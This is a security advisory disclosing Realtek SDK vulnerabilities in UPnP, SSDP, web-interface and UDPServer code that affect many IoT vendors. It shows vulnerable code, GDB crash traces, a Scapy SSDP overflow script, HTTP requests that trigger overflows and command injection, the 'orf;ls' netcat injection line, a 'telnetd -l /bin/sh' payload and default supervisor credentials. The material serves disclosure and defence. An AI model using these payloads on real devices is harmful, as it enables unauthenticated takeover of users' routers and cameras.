Iot Inspector Realtek

Advisory: Multiple issues in Realtek SDK affect hundreds of thousands of devices down the supply chain

At least 65 vendors affected by severe vulnerabilities that enable unauthenticated attackers to fully compromise the target device and execute arbitrary code with the highest level of privilege. 


Over the course of a research project focusing on a specific cable modem, we identified that the system was using a dual-SoC design. The main SoC was running a Linux system, while the second SoC – a dedicated Realtek RTL819xD chipset implementing all the access point functions – was found to be running another, stripped-down Linux system from Realtek.

Realtek chipsets are found in many embedded devices in the IoT space. RTL8xxx SoCs – which provide wireless capabilities – are very common. We therefore decided to spend time identifying binaries running on the RTL819xD on our target device, which expose services over the network and are provided by Realtek themselves. Such binaries are packaged as part of the Realtek SDK, which is developed by Realtek and provided to vendors and manufacturers who use the RTL8xxx SoCs.

Supported by IoT Inspector’s firmware analysis platform, we performed vulnerability research on those binaries and identified more than a dozen vulnerabilities – ranging from command injection to memory corruption affecting UPnP, HTTP (management web interface), and a custom network service from Realtek.

By exploiting these vulnerabilities, remote unauthenticated attackers can fully compromise the target device and execute arbitrary code with the highest level of privilege.

We identified at least 65 different affected vendors with close to 200 unique fingerprints, thanks both to Shodan’s scanning capabilities and some misconfiguration by vendors and manufacturers who expose those devices to the Internet. Affected devices implement wireless capabilities and cover a wide spectrum of use cases: from residential gateways, travel routers, Wi-Fi repeaters, IP cameras to smart lightning gateways or even connected toys.

Affected vendor & product

Vendor Advisory


Realtek SDK (

Vulnerable version Realtek SDK v2.x
Realtek “Jungle” SDK v3.0/v3.1/v3.2/v3.4.x/v3.4T/v3.4T-CT
Realtek “Luna” SDK up to version 1.3.2
Fixed version Realtek SDK branch 2.x: no longer supported by Realtek.
Realtek “Jungle” SDK: patches will be provided by Realtek and needs to be backported.
Realtek “Luna” SDK: version 1.3.2a contains fixes.
CVE IDs CVE-2021-35392 (‘WiFi Simple Config’ stack buffer overflow via UPnP)
CVE-2021-35393 (‘WiFi Simple Config’ heap buffer overflow via SSDP)
CVE-2021-35394 (MP Daemon diagnostic tool command injection)
CVE-2021-35395 (management web interface multiple vulnerabilities)
Impact CVE-2021-35392 – 8.1 (high) AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2021-35393 – 8.1 (high) AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2021-35394 – 9.8 (critical) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE-2021-35395- 9.8 (critical) AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Credit Q. Kaiser, IoT Inspector Research Lab

Key Takeaways

As awareness for supply chain transparency is on the rise among security experts, this example is a pretty good showcase of the vast implications of an obscure IoT supply chain. As opposed to recent supply chain attacks such as Kaseya or Solar Winds, where perpetrators went to great lengths to infiltrate the vendor’s release processes and place hidden backdoors in product updates, this example is far less sophisticated – and probably way more common, for three simple reasons:

  1. On the supplier’s end, insufficient secure software development practices, in particular lack of security testing and code review, resulted in dozens of critical security issues to remain untouched in Realtek’s codebase for more than a decade (from 2.x branch through “Jungle“ SDK to “Luna” SDK).
  2. On the product vendor’s end, we see manufacturers with access to the Realtek source code (a requirement to build Realtek SDK binaries for their own platform) who missed to sufficiently validate their supply chain, left the issues unspotted and distributed the vulnerabilities to hundreds of thousands of end customers – leaving them vulnerable to attacks.
  3. But supply chain issues can go upstream, too. During our research, we discovered that security researchers and pen-testers have previously identified issues in devices relying on the Realtek SDK, but didn’t link these issues to Realtek directly. Vendors who received reports of these vulnerabilities fixed them in their own branch but did not notify Realtek, leaving others exposed.

Our firmware analysis platform IoT Inspector can support in detecting such crucial supply chain issues. It automatically detects whether a firmware is based on a vulnerable Realtek SDK, along with its specific version. It can also detect each vulnerability we reported, and whether or not the provided patch has been applied.

Please keep reading for the full details of our research process.

UPnP Vulnerabilities (mini_upnpd, wscd)


Realtek moved away from its previous UPnP service miniigd in response to CVE-2014-8361, They subsequently provided the source to build two binaries with different features within its SDK:

  • mini_upnpd: seems to be only handling SSDP packets and does not expose a UPnP HTTP interface. For every firmware image we identified to contain a mini_upnpd binary, wscd was also present.

  • wscd: aka ‘Realtek WiFi Simple-Config Daemon’, implements both SSDP packet handling and a UPnP HTTP interface.

Throwing the right keywords into Google, we were able to get access to the source code on Github. This helped in speeding up the vulnerability identification – but we’re confident that skilled reverse engineers would reach the same conclusions, given that some binaries in our sample set came with debug symbols. To illustrate the vulnerabilities, we have commented relevant sections of the source code.

Stack Buffer Overflow via UPnP SUBSCRIBE Callback Header

A few words on UPnP subscription

Any UPnP service must expose the list of devices that it manages, as well as a list of services attached to those devices. In the sample below taken from gupnp documentation (Writing a UPnP Service: GUPnP Reference Manual ), we see a virtual light device with a power switching service attached to it.

On line 19, we can see a eventSubURL item that is related to a feature of UPnP: event notification.

<?xml version="1.0" encoding="utf-8"?>
<root xmlns="urn:schemas-upnp-org:device-1-0">
    <friendlyName>Kitchen Lights</friendlyName>
    <modelName>Virtual Light</modelName>

To subscribe to event notification for a service, a subscriber shall send a request with method SUBSCRIBE, alongside populated NT and CALLBACK header fields, to that service’s fully-qualified event subscription URL.

An UPnP SUBSCRIBE request usually looks like this:

SUBSCRIBE /SwitchPower/Event HTTP/1.1
HOST: host:port
USER-AGENT: OS/version UPnP/2.0 product/version
CALLBACK: <delivery URL>
NT: upnp:event
TIMEOUT: Second-requested subscription duration

On events, the UPnP service will then notify the subscriber by sending a NOTIFY request to the provided CALLBACK URL. In our example, an event could be the virtual light being switched on or off by another UPnP client.

Now that you have some background on UPnP event notifications and subscriptions, let’s look into the Realtek SDK implementation.

Whenever a request is received by the UPnP handler, the HTTP verb is checked and a dedicated function called:

/* Parse and process Http Query 
 * called once all the HTTP headers have been received. */
static void ProcessHttpQuery_upnphttp(struct upnphttp * h)
  else if(strcmp("SUBSCRIBE", HttpCommand) == 0)

On line 8, the UPnPProcessSUBSCRIBE function will parse the HTTP request held in a upnphttp structure and fill the fields of the provided process_upnp_subscription structure:

static void UPnPProcessSUBSCRIBE(struct upnphttp * h)
  struct process_upnp_subscription sub;
  struct upnp_subscription_element *new_sub=NULL;
  int ret;

  memset(&sub, 0, sizeof(struct process_upnp_subscription));
  ret = ParseSUBSCRIBEPacket(h, &sub);
  if (ret != UPNP_E_SUCCESS) {

The ParseSUBSCRIBEPacket function parses the HTTP request line. It first validates that the URL is a valid event URL (line 21 to 29), checks that the host header corresponds to its own IP and port (line 41 to 53), and finally extracts the IP and port number from the callback header value by calling GetIPandPortandCallBack on line 59:

static int ParseSUBSCRIBEPacket(struct upnphttp * h, struct process_upnp_subscription *sub)
  char *line=NULL, *value=NULL, *tmp=NULL;
  unsigned int line_len=0, value_len=0, tmp_len=0;
  unsigned long buffer_end=0;

  if (h->req_buf == NULL || h->req_contentoff == 0)

  line = h->req_buf;
  buffer_end = (unsigned long)h->req_buf + h->req_contentoff;
  while ((unsigned long)line < buffer_end) {
    if (*line == ' ') {
    GetLineLen((const unsigned long)line, &line_len);
    if (line_len == 0)
      return UPNP_E_INVALID_PARAM;
    else if (line_len > 2) {
      if (strncasecmp("SUBSCRIBE", line, 9) == 0) {
        value = GetTokenValue((const unsigned long)line+9, line_len-9, &value_len);
        if (value == NULL || value_len == 0)
          return UPNP_E_INVALID_PARAM;

        if (strncasecmp(h->subscribe_list->event_url, value, value_len) != 0) {
          syslog(LOG_WARNING, "SUBSCRIBE event url mismatched!");
          return UPNP_E_INVALID_PARAM;
      else if (strncasecmp("UNSUBSCRIBE", line, 11) == 0) {
        value = GetTokenValue((const unsigned long)line+11, line_len-11, &value_len);
        if (value == NULL || value_len == 0)
          return UPNP_E_INVALID_PARAM;

        if (strncasecmp(h->subscribe_list->event_url, value, value_len) != 0) {
          syslog(LOG_WARNING, "UNSUBSCRIBE event url mismatched!");
          return UPNP_E_INVALID_PARAM;
      else if (strncasecmp("Host", line, 4) == 0) {
        value = GetTokenValue((const unsigned long)line+4, line_len-4, &value_len);
        if (value == NULL || value_len == 0)
          return UPNP_E_INVALID_PARAM;

        char host_info[30];
        memset(host_info, 0, 30);
        sprintf(host_info, "%s:%d", h->subscribe_list->my_IP, h->subscribe_list->my_port);
        if (strncmp(value, host_info, value_len) != 0) {
          syslog(LOG_WARNING, "Wrong host [%s]", host_info);
          return UPNP_E_INVALID_PARAM;
      else if (strncasecmp("Callback", line, 8) == 0) {
        value = GetTokenValue((const unsigned long)line+8, line_len-8, &value_len);
        if (value == NULL || value_len == 0 || (value_len > (URL_MAX_LEN-1)))
          return UPNP_E_INVALID_PARAM;

        if (GetIPandPortandCallBack((const unsigned long) value, value_len, sub) != UPNP_E_SUCCESS)
          return UPNP_E_INVALID_PARAM;

The GetIPandPortandCallback function is represented below so that you can try to find the vulnerability yourself. We provide a detailed explanation below.

static __inline__ int GetIPandPortandCallBack(const unsigned long buf, const unsigned int buf_len, struct process_upnp_subscription *sub)
  char *line=NULL;
  unsigned long buffer_end=0;
  unsigned char dot_count=0;
  unsigned long start=0;
  unsigned long end=0;
  unsigned char GotIPandPort=0;

  line = (char *)buf;
  buffer_end = (unsigned long)line + buf_len;
  while ((unsigned long)line < buffer_end) {
    if (*line == ' ') {
    if (strncasecmp("<http://", line, 8) != 0)
      return UPNP_E_INVALID_PARAM;

  line += 8;
  start =(unsigned long) line;

  while ((unsigned long)line < buffer_end) {
    if (*line == '.')
    if ((*line == ':') || (*line == '/')) {
      if (dot_count != IP_V4_DOT_COUNT)
        return UPNP_E_INVALID_PARAM;
      memcpy(sub->IP, (char *)start, (unsigned long)line-start);
      if ((sub->IP_inet_addr = inet_addr(sub->IP)) == -1)
        return UPNP_E_INVALID_PARAM;

    if (*line == '/') {
      sub->port = 80;
      GotIPandPort = 1;
      start = (unsigned long)line;
      end = 0;
      goto get_callback;

    line += 1;
    start = (unsigned long)line;
    while ((unsigned long)line < buffer_end) {
      if (*line == '/') {
        end = (unsigned long)line;
        if (end <= start)
          return UPNP_E_INVALID_PARAM;
        else {
          char port[10];                          // stack buffer
          memset(port, 0, 10);                    // zeroed out
          memcpy(port, (char *)start, end-start); // VULN: end-start can be > 10
          sub->port = atoi(port);
          GotIPandPort = 1;
          start = (unsigned long)line;
          end = 0;
  if (!GotIPandPort)
  while ((unsigned long)line < buffer_end) {
    if (*line == '>') {
      end = (unsigned long)line;
      if (end <= start)
        return UPNP_E_INVALID_PARAM;
      else {
        memcpy(sub->callback_url, (char *)start, end-start);
        return UPNP_E_SUCCESS;

GetIPandPortandCallBack parsing code is wrong on many levels, but let’s focus on why it’s vulnerable:

  • it checks whether the Callback starts with "<http://" and bails otherwise from line 12 to 21.

From line 26 to 67, the actual IP and port number extraction starts:

  • it will advance in the buffer until a ‘:’ or a ‘/’ is found, every time a ‘.’ is encountered, a counter is incremented

  • when there is a hit for ‘:’ or ‘/’, it checks if there are 3 dots (strong validation for IPv4, right ?)

  • if the character hit is ‘/’, it defaults to port number 80

  • if the character hit is ‘:’, it continues reading the buffer until they hit a ‘/’ character and copy the buffer from ‘:’ to ‘/’ into a fixed size buffer named ‘port’

  • the port buffer is then fed to atoi to get an integer

The vulnerability happens on line 58 where memcpy is called with a length that can be larger than the size of the port stack buffer. This is due to the fact that there is no size limitation when identifying the port section between ‘:’ and ‘/’ characters within the callback.

The following SUBSCRIBE request will therefore trigger the overflow:

SUBSCRIBE /upnp/event/WFAWLANConfig1 HTTP/1.1
Callback: <>
NT: upnp:event
Timeout: Second-1800
Accept-Encoding: gzip, deflate
User-Agent: gupnp-universal-cp GUPnP/1.2.3 DLNADOC/1.50
Connection: Keep-Alive

We confirmed it on our test device with GDB. As we can see below, the program counter of our process got overwritten with ‘AAAA’ (0x41414141):

(gdb) set architecture mips
The target architecture is assumed to be mips
(gdb) target remote
Remote debugging using
warning: No executable has been specified and target does not support
determining executable automatically.  Try using the "file" command.
0xfc3aaf2a in ?? ()
(gdb) c
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
(gdb) c
Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb) quit

Gaining a Shell

To fully demonstrate the potential of this vulnerability, we developed a quick proof-of-concept that would land us a reverse shell on the target device. We exploit the stack overflow using the ret2libc technique in order to run an arbitrary command. Given that the size of the command we can run is restricted to 16 characters, we simply launch the UDPServer daemon and exploit the command injection that affects that service to run a longer command that pulls our reverse shell payload over FTP and execute it.

Realtek Sdk Poc



Heap Buffer Overflow via SSDP ST field

The UPnP discovery protocol relies on Simple Service Discovery Protocol (SSDP), a UDP protocol using the HTTP message format.

Two kinds of messages can be sent over SSDP:

  • M-SEARCH – sent by clients wishing to discover available services on a network.

  • NOTIFY – sent by UPnP servers to announce the establishment or withdrawal of service information to the multicast group.

Handling of SSDP requests is implemented by ProcessSSDPRequest, which only parses M-SEARCH messages and disregards NOTIFY messages.

The origin of the heap buffer overflow lies between lines 43 and 68 where the SSDP handler compares the ST header value to its internal list of exposed service types.

A secure SSDP implementation would only accept an ST header that matches exactly one of its exposed service types (e.g., upnp:rootdevice). In this case, the comparison is made with memcmp – but only up to the length of the currently checked service type. This means that we can pass this check if at least n bytes of our provided ST header value match the service type (e.g. upnp:rootdevicewhateverfollows).

Then, on line 57, the function calls SendSSDPAnnounce2 to reply to our M-SEARCH request with a NOTIFY response using two user controlled inputs: the ST header value (st) and the ST header value length (st_len).

void ProcessSSDPRequest(daemon_CTX_Tp pCtx)
  int n;
  char *bufr=NULL;
  socklen_t len_r;
  struct sockaddr_in sendername;
  int i, l, j;
  char * st = 0;
  int st_len = 0;

  if (pCtx == NULL)
  bufr = (char *) malloc(2048);
  memset(bufr, 0, 2048);
  len_r = sizeof(struct sockaddr_in);
  n = recvfrom(pCtx->sudp, bufr, 2048, 0, (struct sockaddr *)&sendername, &len_r);
  else if(memcmp(bufr, "M-SEARCH", 8) == 0)
    i = 0;
      while(bufr[i] != '\r' || bufr[i+1] != '\n'){
          goto err_out;
      i += 2;
      if(strncasecmp(bufr+i, "st:", 3) == 0)
        st = bufr+i+3;
        st_len = 0;
        while(*st == ' ' || *st == '\t') st++;
        while(st[st_len]!='\r' && st[st_len]!='\n') st_len++;
      // the SSDP server can handle multiple exposed UPnP devices
      // we loop through those devices
      for (j=0; j<MAX_NUMBER_OF_DEVICE; j++) {
        if (pCtx->device[j].used) {
          i = 0;
          // each device has supported service types, such as 'upnp:rootdevice'
            // first error, we compare the received ST header to at most l bytes
            // this means we pass the check with 'upnp:rootdevicewhateverfollows'
            l = (int)strlen(pCtx->device[j].known_service_types[i]);
            if(l<=st_len && (0 == memcmp(st, pCtx->device[j].known_service_types[i], l)))
              // --snip--
              // the server sends a NOTIFY message to answer the M-SEARCH with
              // user controlled data
              SendSSDPAnnounce2(pCtx->sudp, sendername, st, st_len, pCtx->lan_ip_address, pCtx->device[j].port, &pCtx->device[j].ctx);

The overflow happens in SendSSDPAnnounce2 on line 23 when calling sprintf to put user controlled data into a 512 bytes buffer allocated on the heap.

// st and st_len are user controlled
void SendSSDPAnnounce2(int s, struct sockaddr_in sockname,
                                const char * st, int st_len,
                                const char * host, unsigned short port,
                                SSDP_CTX_Tp SSDP)
  int l, n;
  char *buf=NULL;
  if (st == NULL || host == NULL || SSDP == NULL)

  // allocation and zeroing of a 512 bytes buffer on the heap
  buf = (char *) malloc(512);
  if (buf == NULL) {
    syslog(LOG_ERR, "SendSSDPAnnounce2: out of memory!");
  memset(buf, 0, 512);
  // insecure call to sprintf to copy formatted data into our 512 bytes buffer
  // given that st and st_len are user controlled and come from a 2048 bytes buffer
  // read from the UDP socket listener, we can definitely overflow the heap buffer.
  l = sprintf(buf,
    "HTTP/1.1 200 OK\r\n"
    "Cache-Control: max-age=%d\r\n"
    "ST: %.*s\r\n"
    "USN: %s::%.*s\r\n"
    "Server: " MINIUPNPD_SERVER_STRING "\r\n"
    "Location: http://%s:%u/%s.xml" "\r\n"
    st_len, st,
    SSDP->uuid, st_len, st,
    host, (unsigned int)port, SSDP->root_desc_name);
  n = sendto(s, buf, l, 0, (struct sockaddr *)&sockname, sizeof(struct sockaddr_in) );
    syslog(LOG_ERR, "sendto: %m");

We developed the following proof-of-concept with Scapy:

from scapy.all import *

payload = "M-SEARCH * HTTP/1.1\r\n" \
"HOST:"+SSDPserver+":1900\r\n" \
"MAN: \"ssdp:discover\"\r\n" \

ssdpRequest = IP(src=spoofedIPsrc,dst=SSDPserver) / UDP(sport=1900, dport= 1900) / payload

We confirmed it on our test device with GDB. As we can see below, the program counter of our process got messed up due to the presence of invalid values on the heap:

(gdb) set architecture mips
The target architecture is assumed to be mips
(gdb) target remote
Remote debugging using
warning: No executable has been specified and target does not support
determining executable automatically.  Try using the "file" command.
0xfc3aaf2a in ?? ()
(gdb) c

Program received signal SIGSEGV, Segmentation fault.
0xd4bab02a in ?? ()
(gdb) c

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb) quit

Heap exploitation is always more complex, but the binary provides decent primitives to perform heap spraying. If we want to write a complete PoC we’d have to look at what kind of structures are allocated on the heap at runtime.

Web Management Interface Vulnerabilities (webs, boa)


Realtek has two different versions of its stock web management interface binary: one is GoAhead-webs (/bin/webs), the other is Boa (/bin/boa).

Each server implements the exact same features, with the exact same vulnerabilities (command injection, overflows). The only difference is that Realtek developers use different APIs to implement their features (e.g., websGetVar to get a query parameter in GoAhead-webs, and req_get_cstream_var in Boa).

In its default state, the interface looks somewhat like this:

Realtek SDK web interface

Realtek SDK web interface

Most vendors and manufacturers use one of these web management binaries but change the appearance of the user interface so that it reflects their brand. During our research, some were found to also remove and/or insert custom features. An obvious example of this is the interface found on an IoT toy tank analyzed by Pentest Partners:

Realtek SDK web interface on ESSON

Realtek SDK web interface on ESSON


The web server is vulnerable to DNS rebinding and does not implement any kind of CSRF protection. This means it could be exploited over the Internet by getting a victim to open an attacker controlled web page and guess the internal IP address running the service.

The binary implements a small authentication feature with a user database saved in a .dat or .txt file depending on the binary (webs or boa). Unless explicitly removed in the code/config by the vendor, a default user account exists (supervisor/supervisor).

Exploitability of identified issues will differ based on what the end vendor/manufacturer did with the Realtek SDK webserver. Some vendors use it as-is, others add their own authentication implementation, some keep all the features from the server, some remove some of them, others insert their own set of features.

However, given that Realtek SDK implementation is full of insecure calls and that (from what we’ve seen so far), developers tends to re-use those examples in their custom code, any binary based on Realtek SDK webserver will probably contain its own set of issues on top of the Realtek ones (if kept).

An excellent example of this is the Edimax webserver implementation that kept vulnerabilities from the Realtek SDK default CGI handlers (e.g., buffer overflow via submit-url parameter), but also copied that exact code into their own custom CGI handlers (see Examination of Edimax home devices – Embedded Lab Vienna for IoT & Security).

Stack Buffer Overflow via formRebootCheck’s submit-url query parameter

A buffer overflow is present in formRebootCheck. The overflow can be triggered by sending an overly long submit-url query parameter:

void formRebootCheck(void **param_1)

  char *__src;
  int iVar3;
  __src = websGetVar((int)param_1,"submit-url",&DAT_00458328);
  iVar3 = apmib_update(4);
  if (iVar3 != 0) {
  run_init_script_flag = 1;

lastUrl is a static 100 bytes long char array stored in .data section. Given that the variable is above the GOT, we can exploit this vulnerability by overwriting a GOT entry.

A simple demonstration with a 3000 bytes long submit-url value is shown below:

POST /goform/formRebootCheck HTTP/1.1
Content-Length: 3011
Content-Type: application/x-www-form-urlencoded
Connection: close


This request will, again, trigger a segfault:

# webs
sh: can't create /proc/br_mCastFastFwd: nonexistent directory
Segmentation fault

Stack Buffer Overflow via formWsc’s submit-url query parameter

A similar issue is present in formWsc. This overflow can also be triggered by sending an overly long submit-url query parameter:

void formWsc(void **param_1,undefined4 param_2,undefined4 param_3,char *param_4)
char *pcVar2;
char *pcVar3;

pcVar2 = websGetVar((int)param_1,"submit-url",&DAT_004548c4);
pcVar3 = websGetVar((int)param_1,"resetUnCfg",&DAT_004548c4);
if (*pcVar3 == '1') {
pcVar3 = websGetVar((int)param_1,"resetRptUnCfg",&DAT_004548c4);
if (*pcVar3 == '1') {

Again, lastUrl is a static 100 bytes long char array stored in .data section. Given that the variable is above the GOT, we can also overflow exploit this vulnerability by overwriting a GOT entry.

A simple demonstration with a 3000 bytes long submit-url value is shown below:

POST /goform/formWsc HTTP/1.1
Content-Length: 3024
Content-Type: application/x-www-form-urlencoded
Connection: close


Yet, another segfault will be triggered:

# webs
reset to OOB formWsc,7202
Segmentation fault

Stack Buffer Overflow via formWlSiteSurvey’s ifname query parameter

The formWlSiteSurvey form performs an insecure copy from a user controlled buffer into a fixed size variable. WLAN_IF is a static 100 bytes long char array stored in .data section.

void formWlSiteSurvey(int param_1,undefined4 param_2,undefined4 param_3,undefined4 ******param_4)
  pcVar3 = websGetVar(param_1,"ifname",&DAT_004548c4);
  if (*pcVar3 != '\0') {

We can send the HTTP request below to reach the vulnerable code path:

POST /goform/formWlSiteSurvey HTTP/1.1
Content-Length: 3063
Content-Type: application/x-www-form-urlencoded
Connection: close


HTTP/1.0 200 OK
Server: GoAhead-Webs
Pragma: no-cache
Cache-control: no-cache
Content-Type: text/html

<body><blockquote><h4>Site-survey request failed!</h4>
<form><input type="button" onclick="history.go (-1)" value="&nbsp;&nbsp;OK&nbsp;&nbsp" name="OK"></form></blockquote></body></html>

This will trigger a segfault afterwards, followed by a full reboot:

# webs
Segmentation fault

The full reboot is probably due to an ioctl performed by the webserver that sends a structure holding the IFNAME content to a Realtek kernel driver to get stats from a wireless interface.

Arbitrary Command Execution in formSysCmd

The formSysCmd form is exposing command execution as a feature and is usually reachable via either /goform/formSysCmd or /boafrm/formSysCmd depending on the webserver in use.

We could argue that it’s more of a backdoor rather than a vulnerable endpoint, especially when vendors tend to remove the HTML page represented below from their interface but leave the command execution endpoint enabled.

Realtek SDK formSysCmd form

Realtek SDK formSysCmd form

The form code is dead simple: receive a command via the sysCmd query parameter, feed it to system(), and return the results from that command within the next page.

void formSysCmd(void **param_1)
  size_t *psVar1;
  char *pcVar2;
  char acStack120 [104];
  psVar1 = (size_t *)websGetVar((int)param_1,"submit-url",&DAT_00458328);
  pcVar2 = websGetVar((int)param_1,"sysCmd",&DAT_00458328);
  if (*pcVar2 != '\0') {
    snprintf(acStack120,100,"%s 2>&1 > %s",pcVar2,"/tmp/syscmd.log");

Although probably not required, we’ll reference the HTTP request for completness’ sake:

POST /goform/formSysCmd HTTP/1.1
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Connection: close

HTTP/1.0 302 Redirect
Server: GoAhead-Webs
Date: Tue Jan  5 01:56:06 2016
Pragma: no-cache
Cache-Control: no-cache
Content-Type: text/html

        This document has moved to a new <a href="">location</a>.
        Please update your documents to reflect the new location.

This “feature” is another great example of what arises with vulnerabilities being distributed down the supply chain. Many testers identified this exact vulnerability in different devices from different vendors but never reported it to Realtek.

A few examples: CVE-2018-20057, CVE-2019-19824, Edimax EW-7438RPn 1.13 – Remote Code Execution.

Command Injection via formWsc’s peerPin query parameter

The formWsc form is vulnerable to arbitrary command injection at multiple locations. All of them are related to a user controlled WPS PIN that is fed to system commands without prior sanitization.

void formWsc(void **param_1,undefined4 param_2,undefined4 param_3,char *param_4)
  if (bVar1) {
    sprintf((char *)abStack736,"echo %s > /var/wps_local_pin",abStack472);
    system((char *)abStack736);
  apmib_get(0x10e,(byte *)&local_38);
  if (local_38 == 0) {
    pcVar3 = "iwpriv %s set_mib pin=%s";
    sprintf((char *)abStack736,pcVar3, WLAN_IF, wps_pin);
    system((char *)abStack736);
    pcVar3 = "iwpriv wlan%d-vxd set_mib pin=%s";
    sprintf((char *)abStack736,pcVar3, wlan_idx, wps_pin);
    system((char *)abStack736);

HTTP request to trigger the injection:

POST /goform/formWsc HTTP/1.1
Content-Length: 129
Content-Type: application/x-www-form-urlencoded
Connection: close


Stack Buffer Overflow via formStaticDHCP’s hostname query parameter

The formStaticDHCP form is vulnerable to a stack overflow where a user controlled value (hostname parameter) is insecurely copied to a stack variable using strcpy:

void formStaticDHCP(void **param_1,undefined4 param_2,undefined4 param_3,undefined4 ****param_4)

  char *pcVar3;
  char *pcVar4;
  uint uVar5;
  size_t sVar6;
  int iVar7;
  long lVar8;
  in_addr local_b0;
  uint local_118 [26];
  undefined local_ac [6];
  char acStack166 [38];
  byte local_80 [48];
  uint local_34;
  uint local_30;
  pcVar3 = websGetVar((int)param_1,"addRsvIP",&DAT_00450fb8);
  local_3c = websGetVar((int)param_1,"deleteSelRsvIP",&DAT_00450fb8);
  local_38 = websGetVar((int)param_1,"deleteAllRsvIP",&DAT_00450fb8);
  apmib_get(0xaa,(byte *)local_118);
  local_34 = local_118[0];
  apmib_get(0xab,(byte *)local_118);
  local_30 = local_118[0];
  pcVar4 = websGetVar((int)param_1,"static_dhcp",&DAT_00450fb8);
  if (*pcVar4 == '\0') {
    if (*pcVar3 != '\0') {
      pcVar3 = websGetVar((int)param_1,"hostname",&DAT_00450fb8);
      if (*pcVar3 != '\0') {

The following HTTP request will trigger the overflow:

POST /goform/formStaticDHCP HTTP/1.1
Content-Length: 509
Content-Type: application/x-www-form-urlencoded
Connection: close


Stack Buffer Overflow via formWlanMultipleAP’s submit-url query parameter

The formWlanMultipleAP form is vulnerable to a stack overflow where a user controlled value (submit-url parameter) is insecurely copied to a stack variable using sprintf:

void formWlanMultipleAP(void **param_1)
  char *pcVar1;
  undefined1 *puVar5;
  undefined4 *__s;
  undefined4 uVar8;
  puVar5 = websGetVar((int)param_1,"submit-url",&DAT_004548c4);
  pcVar1 = "/goform/formWlanRedirect?redirect-url=%s&wlan_id=%d";
  uVar8 = wlan_idx;
  sprintf((char *)__s,pcVar1, puVar5, uVar8);

The HTTP request below will trigger the vulnerability:

POST /goform/formWlanMultipleAP HTTP/1.1
Content-Length: 1250
Content-Type: application/x-www-form-urlencoded
Connection: close


Stack Buffer Overflow via formWsc’s peerPin query parameter

The formWsc form is vulnerable to a stack overflow where a user controlled value (peerPin parameter) is insecurely copied to a stack variable using sprintf:

      system("echo 1 > /var/wps_start_pin");
      if (bVar1) {
        sprintf((char *)abStack736,"echo %s > /var/wps_local_pin",abStack472);
        system((char *)abStack736);
    pcVar3 = "echo %s > /var/wps_peer_pin";
    sprintf((char *)abStack736,"echo %s > /var/wps_peer_pin");
    system((char *)abStack736);
    if (local_38 == 0) {
  pcVar3 = "iwpriv %s set_mib pin=%s";
  sprintf((char *)abStack736,pcVar3, WLAN_IF, wps_pin);
  system((char *)abStack736);
  pcVar3 = "iwpriv wlan%d-vxd set_mib pin=%s";
  sprintf((char *)abStack736,pcVar3, wlan_idx, wps_pin);
  system((char *)abStack736);

The HTTP request below will trigger the overflow:

POST /goform/formWsc HTTP/1.1
Content-Length: 1057
Content-Type: application/x-www-form-urlencoded
Connection: close


The binary will simply segfault:

# webs
Invalid pin_code length!
Segmentation fault

UDPServer Vulnerabilities


The following command injection issue found in UDPServer was already identified and reported in 2015 by Peter Adkins, but Mitre never assigned CVEs:

One of the more ‘interesting’ hooks exposed by these devices allow for a ‘UDPServer‘ process to be spawned on the device when called. When started this process listens on the devices LAN IP for data on UDP 9034.

Unfortunately, this process does not appear to perform any sort of input sanitization before passing user input to a system() call. Further investigation finds that the source for this service (UDPServer) is
available in the RealTek SDK, and appears to be a diagnostic tool.

As a result of the above, this process is vulnerable to arbitrary command injection.

By looking at recent samples of the affected binary, we discovered that Realtek released an incomplete fix for this exact issue. We also identified a few buffer overflows.


Some devices will launch UDPServer automatically from their init script, some execute it when a specific function in their own code is called (web server request, request to custom network daemon, …), some never execute it and UDPServer is just left as an artifact.

For each identified firmware image with a UDPserver binary, manual analysis is required to confirm if the service is exposed by default or if it can be launched.

Command Injection via UDPServer protocol

When looking at the proof-of-concept and the current code base, it seems that Realtek tried to fix the issues reported in 2015. In 2015 sending \`telnetd -l /bin/sh\` as UDP payload would have triggered the command injection.

Our interpretation is that Realtek tried to fix that by using the following construct we see in the binary:

if(!memcmp(buf, "orf", 3)){
  strcat(buf, " > /tmp/MP.txt");

This does not fix anything given that you can send orf; <injected command>;# and you’ll pass the check while still being able to inject commands.

6 calls to system() are made with user controlled input. Each call follows the same structure as below:

if(!memcmp(buf, "<some_supposedly_whitelisted_value>", 3)){
  strcat(buf, " > /tmp/MP.txt");


$ echo 'orf;ls' | nc -u 9034
 > /tmp/MP.txt ok

Static Buffer Overflow via UDPServer protocol

On top of command injection, the server is vulnerable to buffer overflows via insecure calls to sprintf (comments added as explaination):

#define BUFLEN 1024

char buf[BUFLEN], buf_tmp[BUFLEN],pre_result[BUFLEN]; // buffer that stores message
static char cmdWrap[500];

// read up to 1024 bytes from the UDP socket
if ((numbytes = recvfrom(sockfd, buf, BUFLEN, 0, 
  (struct sockaddr *)&their_addr, &addr_len)) == -1) {
  fprintf(stderr,"Receive failed!!!\n");

// if user controlled buffer starts with "flash get"
if (!memcmp(buf, "flash get", 9)){
  // unbound copy from a 1024 bytes buffer into a 500 bytes buffer
  sprintf(cmdWrap, "flash gethw %s", buf+10);

// if user controlled buffer starts with "flash set"
if (!memcmp(buf, "flash set", 9)) {
  // unbound copy from a 1024 bytes buffer into a 500 bytes buffer
  sprintf(cmdWrap, "flash sethw %s", buf+10);

Exploitation won’t be straightforward given that the buffer being overflown will be located in .data section (static declaration).

3 other overflows are present :

#define BUFLEN 1024
char buf[BUFLEN], buf_tmp[BUFLEN], pre_result[BUFLEN];
// --snip--

if ( (!memcmp(buf, "flash read", 10)) ){
  if ((fp = fopen("/tmp/MP.txt", "r")) == NULL)
    fprintf(stderr, "opening MP.txt failed !\n");
  if (fp) {
    fgets(buf, BUFLEN, fp);
    buf[BUFLEN-1] = '\0';
  // buf is user controlled
  // if buf is BUFLEN bytes long, we have a 5 bytes overflow after pre_result
  // thanks to the addition of the string 'data:'
  sprintf(pre_result, "data:%s", buf);
// --snip--
else if (!memcmp(buf, "flash get", 9)) {
  // 17 bytes overflow if buf contains BUFLEN bytes
